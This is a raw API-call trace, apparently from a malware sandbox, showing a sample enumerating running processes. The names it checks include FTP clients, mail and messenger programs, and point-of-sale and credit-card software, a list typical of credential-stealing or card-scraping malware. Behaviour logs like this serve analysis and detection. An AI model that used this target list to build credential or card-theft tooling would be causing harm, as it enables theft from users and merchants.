	[0065.269] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0065.269] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0065.269] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0065.270] lstrlenW (lpString="SearchUI.exe") returned 12
	[0065.270] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0065.271] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0065.271] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0065.271] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0065.271] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0065.272] lstrlenW (lpString="pending.exe") returned 11
	[0065.272] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0065.272] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0065.272] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0065.273] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0065.273] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0065.273] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0065.273] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0065.274] lstrlenW (lpString="search.exe") returned 10
	[0065.274] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0065.274] lstrlenW (lpString="compatibility.exe") returned 17
	[0065.274] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0065.275] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0065.275] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0065.275] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0065.275] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0065.276] lstrlenW (lpString="try.exe") returned 7
	[0065.276] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0065.276] lstrlenW (lpString="consultancy.exe") returned 15
	[0065.276] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0065.277] lstrlenW (lpString="especially.exe") returned 14
	[0065.277] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0065.278] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0065.278] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0065.278] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0065.278] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0065.279] lstrlenW (lpString="modules.exe") returned 11
	[0065.279] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0065.279] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0065.279] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0065.280] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0065.280] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0065.280] lstrlenW (lpString="3dftp.exe") returned 9
	[0065.280] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0065.281] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0065.281] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0065.281] lstrlenW (lpString="alftp.exe") returned 9
	[0065.281] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0065.282] lstrlenW (lpString="barca.exe") returned 9
	[0065.282] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0065.283] lstrlenW (lpString="bitkinex.exe") returned 12
	[0065.283] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0065.283] lstrlenW (lpString="coreftp.exe") returned 11
	[0065.284] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0065.284] lstrlenW (lpString="far.exe") returned 7
	[0065.284] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0065.285] lstrlenW (lpString="filezilla.exe") returned 13
	[0065.285] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0066.374] lstrlenW (lpString="flashfxp.exe") returned 12
	[0066.374] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0066.374] lstrlenW (lpString="fling.exe") returned 9
	[0066.374] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0066.375] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0066.375] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0066.376] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0066.376] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0066.377] lstrlenW (lpString="icq.exe") returned 7
	[0066.377] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0066.378] lstrlenW (lpString="leechftp.exe") returned 12
	[0066.378] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0066.379] lstrlenW (lpString="ncftp.exe") returned 9
	[0066.379] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0066.380] lstrlenW (lpString="notepad.exe") returned 11
	[0066.380] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0066.381] lstrlenW (lpString="operamail.exe") returned 13
	[0066.381] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0066.381] lstrlenW (lpString="pidgin.exe") returned 10
	[0066.381] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0066.382] lstrlenW (lpString="scriptftp.exe") returned 13
	[0066.382] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0066.383] lstrlenW (lpString="skype.exe") returned 9
	[0066.383] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0066.384] lstrlenW (lpString="smartftp.exe") returned 12
	[0066.384] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0066.385] lstrlenW (lpString="thunderbird.exe") returned 15
	[0066.385] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0066.385] lstrlenW (lpString="totalcmd.exe") returned 12
	[0066.385] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0066.386] lstrlenW (lpString="trillian.exe") returned 12
	[0066.386] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0066.387] lstrlenW (lpString="webdrive.exe") returned 12
	[0066.387] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0066.388] lstrlenW (lpString="whatsapp.exe") returned 12
	[0066.388] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0066.388] lstrlenW (lpString="winscp.exe") returned 10
	[0066.388] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0066.389] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0066.389] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0066.390] lstrlenW (lpString="active-charge.exe") returned 17
	[0066.390] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0066.390] lstrlenW (lpString="accupos.exe") returned 11
	[0066.390] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0066.391] lstrlenW (lpString="afr38.exe") returned 9
	[0066.391] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0066.392] lstrlenW (lpString="aldelo.exe") returned 10
	[0066.392] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0066.393] lstrlenW (lpString="ccv_server.exe") returned 14
	[0066.393] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0066.393] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0066.393] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0066.394] lstrlenW (lpString="creditservice.exe") returned 17
	[0066.394] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0066.395] lstrlenW (lpString="edcsvr.exe") returned 10
	[0066.395] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0066.395] lstrlenW (lpString="fpos.exe") returned 8
	[0066.395] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0066.396] lstrlenW (lpString="isspos.exe") returned 10
	[0066.396] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0066.397] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0066.397] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0066.398] lstrlenW (lpString="omnipos.exe") returned 11
	[0066.398] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0066.398] lstrlenW (lpString="spcwin.exe") returned 10
	[0066.398] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0066.399] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0066.399] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0066.399] lstrlenW (lpString="utg2.exe") returned 8
	[0066.399] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0066.400] lstrlenW (lpString="explicit.exe") returned 12
	[0066.400] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0066.401] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0066.401] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.401] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.401] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0066.402] lstrlenW (lpString="UsoClient.exe") returned 13
	[0066.402] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0066.402] lstrlenW (lpString="taskhostw.exe") returned 13
	[0066.403] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0066.403] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0066.403] Process32NextW (in: hSnapshot=0x31c, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0066.404] lstrlenW (lpString="DeviceCensus.exe") returned 16
